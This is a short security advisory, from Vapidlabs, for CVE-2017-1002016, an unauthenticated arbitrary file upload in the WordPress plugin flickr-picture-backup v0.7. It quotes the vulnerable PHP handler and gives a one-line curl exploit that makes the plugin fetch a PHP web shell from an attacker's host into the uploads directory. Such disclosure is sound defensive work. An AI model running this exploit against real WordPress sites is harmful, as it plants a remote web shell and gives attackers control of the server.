VDB-ID: 190 Title: Arbitrary file upload vulnerability in Wordpress plugin flickr-picture-backup v0.7 Vulnerability Date: 2017-04-26 CVEIDs: CVE-2017-1002016 Credit: Larry W. Cashdollar, @_larry0 URL: http://www.vapidlabs.com/advisory.php?v=190 Download: https://wordpress.org/plugins/flickr-picture-backup/ Vendor: http://daozhao.goflytoday.com/ Notified: 2017-04-26 Vendor Contact: Description: Backup flickr’s picture which in page/post External links to flickr’s picture. Vulnerability: The code in flickr-picture-download.php doesn't check to see if the user is authenticated or that they have permission to upload files. It also doesn't check what type of file is being uploaded. define('WP_ADMIN', TRUE); require_once('../../../wp-load.php'); require_once(ABSPATH . 'wp-admin/includes/admin.php'); //require_once("./flickr-picture-backup.php"); //echo "flickr-picture-download.php"; if($_GET["url"]) { $url = $_GET["url"]; $fl = wp_daozhao_download_flickr_picture($url); if ( is_wp_error($fl) ) { echo "FALSE:" . $fl->get_error_message(); } else { wp_daozhao_flickr_backupfile_exists($url,$returl); echo "OK:" . $returl ; } //echo wp_daozhao_flickr_backup_urlpath(); //echo "OK"; } Exploit: $ curl http://example.com/wp-content/plugins/flickr-picture-backup/flickr-picture-download.php -d "url=http://myhost/shell.php" Where shell.php is code to print out php web shell code, something like: \n"; ?> Upon exploitation your shell is in: http://example.com/wp-content/uploads/flickr_backup/shell.php